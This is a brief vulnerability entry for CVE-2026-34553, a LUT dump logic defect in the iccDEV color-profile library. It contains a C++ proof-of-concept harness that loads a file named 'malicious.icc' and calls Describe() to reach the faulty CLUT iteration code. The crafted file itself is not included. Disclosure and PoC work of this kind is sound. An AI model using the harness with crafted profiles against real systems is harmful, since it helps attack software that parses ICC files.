CVE-2026-34553 iccDEV LUT转储逻辑缺陷漏洞

#include <iostream> #include "IccProfile.h" // PoC for CVE-2026-34553: LUT dump/iteration logic defect // This code attempts to load a potentially malicious ICC file and trigger the Describe() function. int main() { const char* filename = "malicious.icc"; // Load the ICC profile using the vulnerable library CIccProfile* pProfile = new CIccProfile(); if (!pProfile->Read(filename)) { std::cerr << "Error: Failed to read ICC profile." << std::endl; delete pProfile; return 1; } std::cout << "Profile loaded successfully. Attempting to describe..." << std::endl; // Trigger the vulnerable logic in CIccMBB::Describe() via CLUT dumping // This path involves the defective CIccCLUT::Iterate() pProfile->Describe(std::cout); std::cout << "Operation completed." << std::endl; delete pProfile; return 0; }